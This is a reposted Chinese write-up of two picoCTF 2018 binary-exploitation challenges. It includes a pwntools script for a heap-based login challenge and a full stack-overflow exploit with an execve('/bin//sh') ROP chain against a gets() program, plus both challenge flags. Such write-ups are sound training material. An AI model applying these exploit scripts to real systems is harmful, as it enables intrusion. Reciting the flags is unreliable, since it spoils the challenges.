from pwn import* context(os='linux',arch='amd64',log_level='debug') n = remote('2018shell2.picoctf.com',41208) #n = process('./auth') elf = ELF('./auth') def reset(): n.recvuntil('> ') n.sendline('reset') def login(name): n.recvuntil('> ') n.sendline('login '+name) def getflag(): n.sendline('get-flag') payload = 'a'*8+p64(5) login(payload) gdb.attach(n) reset() login('Ep3ius') getflag() n.interactive()
FLAG
picoCTF{m3sS1nG_w1tH_tH3_h43p_bc7d345a}
can-you-gets-me
➜ can-you-gets-me file gets gets: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped ➜ can-you-gets-me checksec gets [*] '/home/Ep3ius/pwn/process/picoCTF2018/can-you-gets-me/gets' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("GIVE ME YOUR NAME!n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
看了一波源码,只给了一个gets和printf,一开始我还想说是不是用ret2dl-resolve,后来肝了一天都没肝出,查报错的时候发现没办法找到plt表,就在想这个会不会是静态编译的文件,就用ldd检查了下
➜ can-you-gets-me ldd gets 不是动态可执行文件 ➜ can-you-gets-me
emmmm,居然还真是静态库编译的那么我们试试用ropgadget的ropchain来构造ROP链玄学一键getshell
ROPgadget --binary gets --ropchain
- Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 ➜ can-you-gets-me
结果确实只要溢出后执行就能getshell了
EXP
from pwn import* from struct import pack n = process('./gets') # Padding goes here p = 'a'*0x18 + 'aaaa' # buf p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 n.recvuntil('NAME!') n.sendline(p) n.interactive()
FLAG
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_cfdfc687}
以上所述就是小编给大家介绍的《picoCTFのpwn解析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 每秒解析千兆字节的 JSON 解析器开源,秒杀一大波解析器!
- 注册中心 Eureka 源码解析 —— EndPoint 与 解析器
- 新一代Json解析库Moshi源码解析
- mybatis源码配置文件解析之三:解析typeAliases标签
- MySQL内核源码解读-SQL解析之解析器浅析
- Laravel 核心——IoC 服务容器源码解析(服务器解析)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
图片转BASE64编码
在线图片转Base64编码工具
UNIX 时间戳转换
UNIX 时间戳转换